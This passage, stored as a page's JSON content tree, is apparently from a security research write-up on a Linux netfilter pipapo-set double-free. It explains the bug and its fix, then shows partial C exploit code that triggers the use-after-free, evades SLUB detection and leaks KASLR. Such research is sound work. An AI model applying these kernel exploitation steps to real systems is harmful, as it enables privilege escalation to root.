it's crucial to free what's in the clone.",{"type":23,"tag":32,"props":65315,"children":65316},{},[65317,65319,65325,65327,65332,65334,65339],{"type":29,"value":65318},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":71,"props":65320,"children":65322},{"className":65321},[],[65323],{"type":29,"value":65324},"set->ops->destroy()",{"type":29,"value":65326}," could be called without clearing the ",{"type":23,"tag":71,"props":65328,"children":65330},{"className":65329},[],[65331],{"type":29,"value":62158},{"type":29,"value":65333}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":71,"props":65335,"children":65337},{"className":65336},[],[65338],{"type":29,"value":62196},{"type":29,"value":65340},"s, so they would all be in the clone set.",{"type":23,"tag":32,"props":65342,"children":65343},{},[65344,65346,65351],{"type":29,"value":65345},"But when the ",{"type":23,"tag":71,"props":65347,"children":65349},{"className":65348},[],[65350],{"type":29,"value":64913},{"type":29,"value":65352}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":32,"props":65354,"children":65355},{},[65356],{"type":29,"value":65357},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":24,"props":65359,"children":65361},{"id":65360},"kernelctf-exploit",[65362],{"type":29,"value":65363},"KernelCTF exploit",{"type":23,"tag":32,"props":65365,"children":65366},{},[65367,65369,65375,65377,65384],{"type":29,"value":65368},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":71,"props":65370,"children":65372},{"className":65371},[],[65373],{"type":29,"value":65374},"nft_object + udata",{"type":29,"value":65376}," technique shared by lonial con in a ",{"type":23,"tag":940,"props":65378,"children":65381},{"href":65379,"rel":65380},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[944],[65382],{"type":29,"value":65383},"previous kernelCTF exploit",{"type":29,"value":557},{"type":23,"tag":923,"props":65386,"children":65388},{"id":65387},"trigger-uafavoid-double-free-detection",[65389],{"type":29,"value":65390},"Trigger UAF/avoid double-free detection",{"type":23,"tag":32,"props":65392,"children":65393},{},[65394,65396,65402,65404,65410],{"type":29,"value":65395},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":71,"props":65397,"children":65399},{"className":65398},[],[65400],{"type":29,"value":65401},"nft_set_pipapo_match_destroy",{"type":29,"value":65403}," iterates over the ",{"type":23,"tag":71,"props":65405,"children":65407},{"className":65406},[],[65408],{"type":29,"value":65409},"setelems",{"type":29,"value":65411}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":2797,"props":65413,"children":65414},{},[65415,65420,65425,65430],{"type":23,"tag":2801,"props":65416,"children":65417},{},[65418],{"type":29,"value":65419},"Element A gets freed",{"type":23,"tag":2801,"props":65421,"children":65422},{},[65423],{"type":29,"value":65424},"Element B gets free",{"type":23,"tag":2801,"props":65426,"children":65427},{},[65428],{"type":29,"value":65429},"Element A gets freed again (double-free)",{"type":23,"tag":2801,"props":65431,"children":65432},{},[65433],{"type":29,"value":65434},"Element B gets freed again (double-free)",{"type":23,"tag":64,"props":65436,"children":65438},{"className":40306,"code":65437,"language":40308,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[65439],{"type":23,"tag":71,"props":65440,"children":65441},{"__ignoreMap":7},[65442,65449,65510,65517,65524,65532,65539,65546,65554,65578,65599,65633,65694,65701,65709,65761,65768,65794,65821,65860,65889,65918,65940,65947,65954,65961,65969,65976,65984,65997,66010,66030,66037,66045,66067,66099,66144,66180,66208,66215,66222,66230,66237,66253,66260],{"type":23,"tag":75,"props":65443,"children":65444},{"class":77,"line":78},[65445],{"type":23,"tag":75,"props":65446,"children":65447},{"style":94},[65448],{"type":29,"value":21566},{"type":23,"tag":75,"props":65450,"children":65451},{"class":77,"line":100},[65452,65457,65461,65466,65470,65475,65479,65484,65489,65493,65497,65501,65506],{"type":23,"tag":75,"props":65453,"children":65454},{"style":94},[65455],{"type":29,"value":65456},"static void trigger_uaf(",{"type":23,"tag":75,"props":65458,"children":65459},{"style":82},[65460],{"type":29,"value":20652},{"type":23,"tag":75,"props":65462,"children":65463},{"style":104},[65464],{"type":29,"value":65465}," mnl_socket",{"type":23,"tag":75,"props":65467,"children":65468},{"style":82},[65469],{"type":29,"value":579},{"type":23,"tag":75,"props":65471,"children":65472},{"style":110},[65473],{"type":29,"value":65474},"nl",{"type":23,"tag":75,"props":65476,"children":65477},{"style":94},[65478],{"type":29,"value":611},{"type":23,"tag":75,"props":65480,"children":65481},{"style":82},[65482],{"type":29,"value":65483},"size_t",{"type":23,"tag":75,"props":65485,"children":65486},{"style":110},[65487],{"type":29,"value":65488}," size",{"type":23,"tag":75,"props":65490,"children":65491},{"style":94},[65492],{"type":29,"value":611},{"type":23,"tag":75,"props":65494,"children":65495},{"style":82},[65496],{"type":29,"value":30270},{"type":23,"tag":75,"props":65498,"children":65499},{"style":82},[65500],{"type":29,"value":579},{"type":23,"tag":75,"props":65502,"children":65503},{"style":110},[65504],{"type":29,"value":65505},"msgqids",{"type":23,"tag":75,"props":65507,"children":65508},{"style":94},[65509],{"type":29,"value":653},{"type":23,"tag":75,"props":65511,"children":65512},{"class":77,"line":121},[65513],{"type":23,"tag":75,"props":65514,"children":65515},{"style":94},[65516],{"type":29,"value":2549},{"type":23,"tag":75,"props":65518,"children":65519},{"class":77,"line":138},[65520],{"type":23,"tag":75,"props":65521,"children":65522},{"style":94},[65523],{"type":29,"value":21566},{"type":23,"tag":75,"props":65525,"children":65526},{"class":77,"line":161},[65527],{"type":23,"tag":75,"props":65528,"children":65529},{"style":94},[65530],{"type":29,"value":65531},"    // TRANSACTION 2\n",{"type":23,"tag":75,"props":65533,"children":65534},{"class":77,"line":196},[65535],{"type":23,"tag":75,"props":65536,"children":65537},{"style":94},[65538],{"type":29,"value":21566},{"type":23,"tag":75,"props":65540,"children":65541},{"class":77,"line":220},[65542],{"type":23,"tag":75,"props":65543,"children":65544},{"emptyLinePlaceholder":15},[65545],{"type":29,"value":276},{"type":23,"tag":75,"props":65547,"children":65548},{"class":77,"line":248},[65549],{"type":23,"tag":75,"props":65550,"children":65551},{"style":94},[65552],{"type":29,"value":65553},"    // create pipapo set\n",{"type":23,"tag":75,"props":65555,"children":65556},{"class":77,"line":270},[65557,65562,65566,65570,65574],{"type":23,"tag":75,"props":65558,"children":65559},{"style":94},[65560],{"type":29,"value":65561},"    uint8_t desc[2] = {",{"type":23,"tag":75,"props":65563,"children":65564},{"style":237},[65565],{"type":29,"value":52037},{"type":23,"tag":75,"props":65567,"children":65568},{"style":94},[65569],{"type":29,"value":611},{"type":23,"tag":75,"props":65571,"children":65572},{"style":237},[65573],{"type":29,"value":52037},{"type":23,"tag":75,"props":65575,"children":65576},{"style":94},[65577],{"type":29,"value":27801},{"type":23,"tag":75,"props":65579,"children":65580},{"class":77,"line":279},[65581,65586,65590,65595],{"type":23,"tag":75,"props":65582,"children":65583},{"style":94},[65584],{"type":29,"value":65585},"    set ",{"type":23,"tag":75,"props":65587,"children":65588},{"style":209},[65589],{"type":29,"value":212},{"type":23,"tag":75,"props":65591,"children":65592},{"style":88},[65593],{"type":29,"value":65594}," create_set",{"type":23,"tag":75,"props":65596,"children":65597},{"style":94},[65598],{"type":29,"value":97},{"type":23,"tag":75,"props":65600,"children":65601},{"class":77,"line":303},[65602,65607,65611,65616,65621,65625,65629],{"type":23,"tag":75,"props":65603,"children":65604},{"style":94},[65605],{"type":29,"value":65606},"        batch, seq",{"type":23,"tag":75,"props":65608,"children":65609},{"style":209},[65610],{"type":29,"value":62454},{"type":23,"tag":75,"props":65612,"children":65613},{"style":94},[65614],{"type":29,"value":65615},", exploit_table_name, ",{"type":23,"tag":75,"props":65617,"children":65618},{"style":1266},[65619],{"type":29,"value":65620},"\"pwn_set\"",{"type":23,"tag":75,"props":65622,"children":65623},{"style":94},[65624],{"type":29,"value":611},{"type":23,"tag":75,"props":65626,"children":65627},{"style":237},[65628],{"type":29,"value":54691},{"type":23,"tag":75,"props":65630,"children":65631},{"style":94},[65632],{"type":29,"value":118},{"type":23,"tag":75,"props":65634,"children":65635},{"class":77,"line":322},[65636,65641,65645,65650,65654,65659,65663,65667,65671,65676,65681,65685,65689],{"type":23,"tag":75,"props":65637,"children":65638},{"style":94},[65639],{"type":29,"value":65640},"        NFT_SET_INTERVAL ",{"type":23,"tag":75,"props":65642,"children":65643},{"style":209},[65644],{"type":29,"value":21664},{"type":23,"tag":75,"props":65646,"children":65647},{"style":94},[65648],{"type":29,"value":65649}," NFT_SET_OBJECT ",{"type":23,"tag":75,"props":65651,"children":65652},{"style":209},[65653],{"type":29,"value":21664},{"type":23,"tag":75,"props":65655,"children":65656},{"style":94},[65657],{"type":29,"value":65658}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":75,"props":65660,"children":65661},{"style":237},[65662],{"type":29,"value":14409},{"type":23,"tag":75,"props":65664,"children":65665},{"style":94},[65666],{"type":29,"value":611},{"type":23,"tag":75,"props":65668,"children":65669},{"style":209},[65670],{"type":29,"value":1277},{"type":23,"tag":75,"props":65672,"children":65673},{"style":94},[65674],{"type":29,"value":65675},"desc, ",{"type":23,"tag":75,"props":65677,"children":65678},{"style":82},[65679],{"type":29,"value":65680},"NULL",{"type":23,"tag":75,"props":65682,"children":65683},{"style":94},[65684],{"type":29,"value":611},{"type":23,"tag":75,"props":65686,"children":65687},{"style":237},[65688],{"type":29,"value":648},{"type":23,"tag":75,"props":65690,"children":65691},{"style":94},[65692],{"type":29,"value":65693},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":75,"props":65695,"children":65696},{"class":77,"line":340},[65697],{"type":23,"tag":75,"props":65698,"children":65699},{"emptyLinePlaceholder":15},[65700],{"type":29,"value":276},{"type":23,"tag":75,"props":65702,"children":65703},{"class":77,"line":349},[65704],{"type":23,"tag":75,"props":65705,"children":65706},{"style":3621},[65707],{"type":29,"value":65708},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":75,"props":65710,"children":65711},{"class":77,"line":363},[65712,65716,65720,65724,65729,65733,65737,65741,65745,65749,65753,65757],{"type":23,"tag":75,"props":65713,"children":65714},{"style":175},[65715],{"type":29,"value":711},{"type":23,"tag":75,"props":65717,"children":65718},{"style":94},[65719],{"type":29,"value":183},{"type":23,"tag":75,"props":65721,"children":65722},{"style":82},[65723],{"type":29,"value":30270},{"type":23,"tag":75,"props":65725,"children":65726},{"style":94},[65727],{"type":29,"value":65728}," i ",{"type":23,"tag":75,"props":65730,"children":65731},{"style":209},[65732],{"type":29,"value":212},{"type":23,"tag":75,"props":65734,"children":65735},{"style":237},[65736],{"type":29,"value":240},{"type":23,"tag":75,"props":65738,"children":65739},{"style":94},[65740],{"type":29,"value":62418},{"type":23,"tag":75,"props":65742,"children":65743},{"style":209},[65744],{"type":29,"value":295},{"type":23,"tag":75,"props":65746,"children":65747},{"style":237},[65748],{"type":29,"value":19193},{"type":23,"tag":75,"props":65750,"children":65751},{"style":94},[65752],{"type":29,"value":62449},{"type":23,"tag":75,"props":65754,"children":65755},{"style":209},[65756],{"type":29,"value":62454},{"type":23,"tag":75,"props":65758,"children":65759},{"style":94},[65760],{"type":29,"value":653},{"type":23,"tag":75,"props":65762,"children":65763},{"class":77,"line":656},[65764],{"type":23,"tag":75,"props":65765,"children":65766},{"style":94},[65767],{"type":29,"value":40383},{"type":23,"tag":75,"props":65769,"children":65770},{"class":77,"line":705},[65771,65776,65781,65785,65790],{"type":23,"tag":75,"props":65772,"children":65773},{"style":110},[65774],{"type":29,"value":65775},"        elem",{"type":23,"tag":75,"props":65777,"children":65778},{"style":94},[65779],{"type":29,"value":65780},"[i] ",{"type":23,"tag":75,"props":65782,"children":65783},{"style":209},[65784],{"type":29,"value":212},{"type":23,"tag":75,"props":65786,"children":65787},{"style":88},[65788],{"type":29,"value":65789}," nftnl_set_elem_alloc",{"type":23,"tag":75,"props":65791,"children":65792},{"style":94},[65793],{"type":29,"value":14944},{"type":23,"tag":75,"props":65795,"children":65796},{"class":77,"line":787},[65797,65802,65807,65812,65816],{"type":23,"tag":75,"props":65798,"children":65799},{"style":88},[65800],{"type":29,"value":65801},"        memset",{"type":23,"tag":75,"props":65803,"children":65804},{"style":94},[65805],{"type":29,"value":65806},"(key, ",{"type":23,"tag":75,"props":65808,"children":65809},{"style":237},[65810],{"type":29,"value":65811},"0x41",{"type":23,"tag":75,"props":65813,"children":65814},{"style":209},[65815],{"type":29,"value":20160},{"type":23,"tag":75,"props":65817,"children":65818},{"style":94},[65819],{"type":29,"value":65820}," i, KEY_LEN);\n",{"type":23,"tag":75,"props":65822,"children":65823},{"class":77,"line":826},[65824,65829,65833,65837,65842,65847,65851,65856],{"type":23,"tag":75,"props":65825,"children":65826},{"style":88},[65827],{"type":29,"value":65828},"        nftnl_set_elem_set",{"type":23,"tag":75,"props":65830,"children":65831},{"style":94},[65832],{"type":29,"value":643},{"type":23,"tag":75,"props":65834,"children":65835},{"style":110},[65836],{"type":29,"value":63249},{"type":23,"tag":75,"props":65838,"children":65839},{"style":94},[65840],{"type":29,"value":65841},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":75,"props":65843,"children":65844},{"style":1266},[65845],{"type":29,"value":65846},"\"pwnobj\"",{"type":23,"tag":75,"props":65848,"children":65849},{"style":94},[65850],{"type":29,"value":611},{"type":23,"tag":75,"props":65852,"children":65853},{"style":237},[65854],{"type":29,"value":65855},"7",{"type":23,"tag":75,"props":65857,"children":65858},{"style":94},[65859],{"type":29,"value":15099},{"type":23,"tag":75,"props":65861,"children":65862},{"class":77,"line":834},[65863,65867,65871,65875,65880,65884],{"type":23,"tag":75,"props":65864,"children":65865},{"style":88},[65866],{"type":29,"value":65828},{"type":23,"tag":75,"props":65868,"children":65869},{"style":94},[65870],{"type":29,"value":643},{"type":23,"tag":75,"props":65872,"children":65873},{"style":110},[65874],{"type":29,"value":63249},{"type":23,"tag":75,"props":65876,"children":65877},{"style":94},[65878],{"type":29,"value":65879},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":75,"props":65881,"children":65882},{"style":209},[65883],{"type":29,"value":1277},{"type":23,"tag":75,"props":65885,"children":65886},{"style":94},[65887],{"type":29,"value":65888},"key, KEY_LEN);\n",{"type":23,"tag":75,"props":65890,"children":65891},{"class":77,"line":881},[65892,65896,65900,65904,65909,65913],{"type":23,"tag":75,"props":65893,"children":65894},{"style":88},[65895],{"type":29,"value":65828},{"type":23,"tag":75,"props":65897,"children":65898},{"style":94},[65899],{"type":29,"value":643},{"type":23,"tag":75,"props":65901,"children":65902},{"style":110},[65903],{"type":29,"value":63249},{"type":23,"tag":75,"props":65905,"children":65906},{"style":94},[65907],{"type":29,"value":65908},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":75,"props":65910,"children":65911},{"style":209},[65912],{"type":29,"value":1277},{"type":23,"tag":75,"props":65914,"children":65915},{"style":94},[65916],{"type":29,"value":65917},"udata_buf, size);\n",{"type":23,"tag":75,"props":65919,"children":65920},{"class":77,"line":3355},[65921,65926,65931,65935],{"type":23,"tag":75,"props":65922,"children":65923},{"style":88},[65924],{"type":29,"value":65925},"        nftnl_set_elem_add",{"type":23,"tag":75,"props":65927,"children":65928},{"style":94},[65929],{"type":29,"value":65930},"(set, ",{"type":23,"tag":75,"props":65932,"children":65933},{"style":110},[65934],{"type":29,"value":63249},{"type":23,"tag":75,"props":65936,"children":65937},{"style":94},[65938],{"type":29,"value":65939},"[i]);\n",{"type":23,"tag":75,"props":65941,"children":65942},{"class":77,"line":3390},[65943],{"type":23,"tag":75,"props":65944,"children":65945},{"style":94},[65946],{"type":29,"value":346},{"type":23,"tag":75,"props":65948,"children":65949},{"class":77,"line":3423},[65950],{"type":23,"tag":75,"props":65951,"children":65952},{"style":94},[65953],{"type":29,"value":21566},{"type":23,"tag":75,"props":65955,"children":65956},{"class":77,"line":3436},[65957],{"type":23,"tag":75,"props":65958,"children":65959},{"emptyLinePlaceholder":15},[65960],{"type":29,"value":276},{"type":23,"tag":75,"props":65962,"children":65963},{"class":77,"line":3449},[65964],{"type":23,"tag":75,"props":65965,"children":65966},{"style":94},[65967],{"type":29,"value":65968},"    // TRANSACTION 3\n",{"type":23,"tag":75,"props":65970,"children":65971},{"class":77,"line":3457},[65972],{"type":23,"tag":75,"props":65973,"children":65974},{"style":94},[65975],{"type":29,"value":21566},{"type":23,"tag":75,"props":65977,"children":65978},{"class":77,"line":3465},[65979],{"type":23,"tag":75,"props":65980,"children":65981},{"style":94},[65982],{"type":29,"value":65983},"    set = nftnl_set_alloc();\n",{"type":23,"tag":75,"props":65985,"children":65986},{"class":77,"line":3473},[65987,65992],{"type":23,"tag":75,"props":65988,"children":65989},{"style":88},[65990],{"type":29,"value":65991},"    nftnl_set_set_u32",{"type":23,"tag":75,"props":65993,"children":65994},{"style":94},[65995],{"type":29,"value":65996},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":75,"props":65998,"children":65999},{"class":77,"line":3481},[66000,66005],{"type":23,"tag":75,"props":66001,"children":66002},{"style":88},[66003],{"type":29,"value":66004},"    nftnl_set_set_str",{"type":23,"tag":75,"props":66006,"children":66007},{"style":94},[66008],{"type":29,"value":66009},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":75,"props":66011,"children":66012},{"class":77,"line":3524},[66013,66017,66022,66026],{"type":23,"tag":75,"props":66014,"children":66015},{"style":88},[66016],{"type":29,"value":66004},{"type":23,"tag":75,"props":66018,"children":66019},{"style":94},[66020],{"type":29,"value":66021},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":75,"props":66023,"children":66024},{"style":1266},[66025],{"type":29,"value":65620},{"type":23,"tag":75,"props":66027,"children":66028},{"style":94},[66029],{"type":29,"value":15099},{"type":23,"tag":75,"props":66031,"children":66032},{"class":77,"line":4890},[66033],{"type":23,"tag":75,"props":66034,"children":66035},{"emptyLinePlaceholder":15},[66036],{"type":29,"value":276},{"type":23,"tag":75,"props":66038,"children":66039},{"class":77,"line":4937},[66040],{"type":23,"tag":75,"props":66041,"children":66042},{"style":3621},[66043],{"type":29,"value":66044},"    // make priv->dirty true\n",{"type":23,"tag":75,"props":66046,"children":66047},{"class":77,"line":4950},[66048,66053,66057,66062],{"type":23,"tag":75,"props":66049,"children":66050},{"style":88},[66051],{"type":29,"value":66052},"    memset",{"type":23,"tag":75,"props":66054,"children":66055},{"style":94},[66056],{"type":29,"value":65806},{"type":23,"tag":75,"props":66058,"children":66059},{"style":237},[66060],{"type":29,"value":66061},"0xff",{"type":23,"tag":75,"props":66063,"children":66064},{"style":94},[66065],{"type":29,"value":66066},", KEY_LEN);\n",{"type":23,"tag":75,"props":66068,"children":66069},{"class":77,"line":4958},[66070,66075,66079,66083,66087,66091,66095],{"type":23,"tag":75,"props":66071,"children":66072},{"style":110},[66073],{"type":29,"value":66074},"    elem",{"type":23,"tag":75,"props":66076,"children":66077},{"style":94},[66078],{"type":29,"value":814},{"type":23,"tag":75,"props":66080,"children":66081},{"style":237},[66082],{"type":29,"value":28518},{"type":23,"tag":75,"props":66084,"children":66085},{"style":94},[66086],{"type":29,"value":13463},{"type":23,"tag":75,"props":66088,"children":66089},{"style":209},[66090],{"type":29,"value":212},{"type":23,"tag":75,"props":66092,"children":66093},{"style":88},[66094],{"type":29,"value":65789},{"type":23,"tag":75,"props":66096,"children":66097},{"style":94},[66098],{"type":29,"value":14944},{"type":23,"tag":75,"props":66100,"children":66101},{"class":77,"line":4967},[66102,66107,66111,66115,66119,66123,66128,66132,66136,66140],{"type":23,"tag":75,"props":66103,"children":66104},{"style":88},[66105],{"type":29,"value":66106},"    nftnl_set_elem_set",{"type":23,"tag":75,"props":66108,"children":66109},{"style":94},[66110],{"type":29,"value":643},{"type":23,"tag":75,"props":66112,"children":66113},{"style":110},[66114],{"type":29,"value":63249},{"type":23,"tag":75,"props":66116,"children":66117},{"style":94},[66118],{"type":29,"value":814},{"type":23,"tag":75,"props":66120,"children":66121},{"style":237},[66122],{"type":29,"value":28518},{"type":23,"tag":75,"props":66124,"children":66125},{"style":94},[66126],{"type":29,"value":66127},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":75,"props":66129,"children":66130},{"style":1266},[66131],{"type":29,"value":65846},{"type":23,"tag":75,"props":66133,"children":66134},{"style":94},[66135],{"type":29,"value":611},{"type":23,"tag":75,"props":66137,"children":66138},{"style":237},[66139],{"type":29,"value":65855},{"type":23,"tag":75,"props":66141,"children":66142},{"style":94},[66143],{"type":29,"value":15099},{"type":23,"tag":75,"props":66145,"children":66146},{"class":77,"line":4975},[66147,66151,66155,66159,66163,66167,66172,66176],{"type":23,"tag":75,"props":66148,"children":66149},{"style":88},[66150],{"type":29,"value":66106},{"type":23,"tag":75,"props":66152,"children":66153},{"style":94},[66154],{"type":29,"value":643},{"type":23,"tag":75,"props":66156,"children":66157},{"style":110},[66158],{"type":29,"value":63249},{"type":23,"tag":75,"props":66160,"children":66161},{"style":94},[66162],{"type":29,"value":814},{"type":23,"tag":75,"props":66164,"children":66165},{"style":237},[66166],{"type":29,"value":28518},{"type":23,"tag":75,"props":66168,"children":66169},{"style":94},[66170],{"type":29,"value":66171},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":75,"props":66173,"children":66174},{"style":209},[66175],{"type":29,"value":1277},{"type":23,"tag":75,"props":66177,"children":66178},{"style":94},[66179],{"type":29,"value":65888},{"type":23,"tag":75,"props":66181,"children":66182},{"class":77,"line":5016},[66183,66188,66192,66196,66200,66204],{"type":23,"tag":75,"props":66184,"children":66185},{"style":88},[66186],{"type":29,"value":66187},"    nftnl_set_elem_add",{"type":23,"tag":75,"props":66189,"children":66190},{"style":94},[66191],{"type":29,"value":65930},{"type":23,"tag":75,"props":66193,"children":66194},{"style":110},[66195],{"type":29,"value":63249},{"type":23,"tag":75,"props":66197,"children":66198},{"style":94},[66199],{"type":29,"value":814},{"type":23,"tag":75,"props":66201,"children":66202},{"style":237},[66203],{"type":29,"value":28518},{"type":23,"tag":75,"props":66205,"children":66206},{"style":94},[66207],{"type":29,"value":15025},{"type":23,"tag":75,"props":66209,"children":66210},{"class":77,"line":5025},[66211],{"type":23,"tag":75,"props":66212,"children":66213},{"style":94},[66214],{"type":29,"value":21566},{"type":23,"tag":75,"props":66216,"children":66217},{"class":77,"line":5033},[66218],{"type":23,"tag":75,"props":66219,"children":66220},{"emptyLinePlaceholder":15},[66221],{"type":29,"value":276},{"type":23,"tag":75,"props":66223,"children":66224},{"class":77,"line":5041},[66225],{"type":23,"tag":75,"props":66226,"children":66227},{"style":94},[66228],{"type":29,"value":66229},"    // double-free commited elems\n",{"type":23,"tag":75,"props":66231,"children":66232},{"class":77,"line":5050},[66233],{"type":23,"tag":75,"props":66234,"children":66235},{"style":94},[66236],{"type":29,"value":21566},{"type":23,"tag":75,"props":66238,"children":66239},{"class":77,"line":5058},[66240,66245,66249],{"type":23,"tag":75,"props":66241,"children":66242},{"style":94},[66243],{"type":29,"value":66244},"    nftnl_set_free(",{"type":23,"tag":75,"props":66246,"children":66247},{"style":104},[66248],{"type":29,"value":62204},{"type":23,"tag":75,"props":66250,"children":66251},{"style":94},[66252],{"type":29,"value":15099},{"type":23,"tag":75,"props":66254,"children":66255},{"class":77,"line":5083},[66256],{"type":23,"tag":75,"props":66257,"children":66258},{"style":94},[66259],{"type":29,"value":369},{"type":23,"tag":75,"props":66261,"children":66262},{"class":77,"line":5108},[66263],{"type":23,"tag":75,"props":66264,"children":66265},{"style":94},[66266],{"type":29,"value":21566},{"type":23,"tag":923,"props":66268,"children":66270},{"id":66269},"leaking-kaslr",[66271],{"type":29,"value":66272},"Leaking KASLR",{"type":23,"tag":32,"props":66274,"children":66275},{},[66276,66278,66284,66286,66291,66293,66299,66301,66307,66309],{"type":29,"value":66277},"Tables contain an outline user data buffer ",{"type":23,"tag":71,"props":66279,"children":66281},{"className":66280},[],[66282],{"type":29,"value":66283},"udata",{"type":29,"value":66285}," that we can both read and write. By allocating a ",{"type":23,"tag":71,"props":66287,"children":66289},{"className":66288},[],[66290],{"type":29,"value":66283},{"type":29,"value":66292}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":71,"props":66294,"children":66296},{"className":66295},[],[66297],{"type":29,"value":66298},"nft_object",{"type":29,"value":66300}," we can leak the ",{"type":23,"tag":71,"props":66302,"children":66304},{"className":66303},[],[66305],{"type":29,"value":66306},"->ops",{"type":29,"value":66308}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":15189,"props":66310,"children":66312},{"alt":61763,"src":66311},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":64,"props":66314,"children":66316},{"className":40306,"code":66315,"language":40308,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[66317],{"type":23,"tag":71,"props":66318,"children":66319},{"__ignoreMap":7},[66320,66327,66335,66370,66377,66385,66410,66437,66488,66495,66528,66554,66561,66625,66632,66653,66660,66667,66675,66683,66704,66733,66745,66789,66845],{"type":23,"tag":75,"props":66321,"children":66322},{"class":77,"line":78},[66323],{"type":23,"tag":75,"props":66324,"children":66325},{"style":94},[66326],{"type":29,"value":21566},{"type":23,"tag":75,"props":66328,"children":66329},{"class":77,"line":100},[66330],{"type":23,"tag":75,"props":66331,"children":66332},{"style":94},[66333],{"type":29,"value":66334},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":75,"props":66336,"children":66337},{"class":77,"line":121},[66338,66343,66347,66352,66357,66362,66366],{"type":23,"tag":75,"props":66339,"children":66340},{"style":94},[66341],{"type":29,"value":66342},"    udata_spray(",{"type":23,"tag":75,"props":66344,"children":66345},{"style":104},[66346],{"type":29,"value":65474},{"type":23,"tag":75,"props":66348,"children":66349},{"style":94},[66350],{"type":29,"value":66351},", 0",{"type":23,"tag":75,"props":66353,"children":66354},{"style":104},[66355],{"type":29,"value":66356},"xe8",{"type":23,"tag":75,"props":66358,"children":66359},{"style":94},[66360],{"type":29,"value":66361},", 0, 3, ",{"type":23,"tag":75,"props":66363,"children":66364},{"style":104},[66365],{"type":29,"value":65680},{"type":23,"tag":75,"props":66367,"children":66368},{"style":94},[66369],{"type":29,"value":15099},{"type":23,"tag":75,"props":66371,"children":66372},{"class":77,"line":138},[66373],{"type":23,"tag":75,"props":66374,"children":66375},{"emptyLinePlaceholder":15},[66376],{"type":29,"value":276},{"type":23,"tag":75,"props":66378,"children":66379},{"class":77,"line":161},[66380],{"type":23,"tag":75,"props":66381,"children":66382},{"style":3621},[66383],{"type":29,"value":66384},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":75,"props":66386,"children":66387},{"class":77,"line":196},[66388,66393,66398,66402,66406],{"type":23,"tag":75,"props":66389,"children":66390},{"style":82},[66391],{"type":29,"value":66392},"    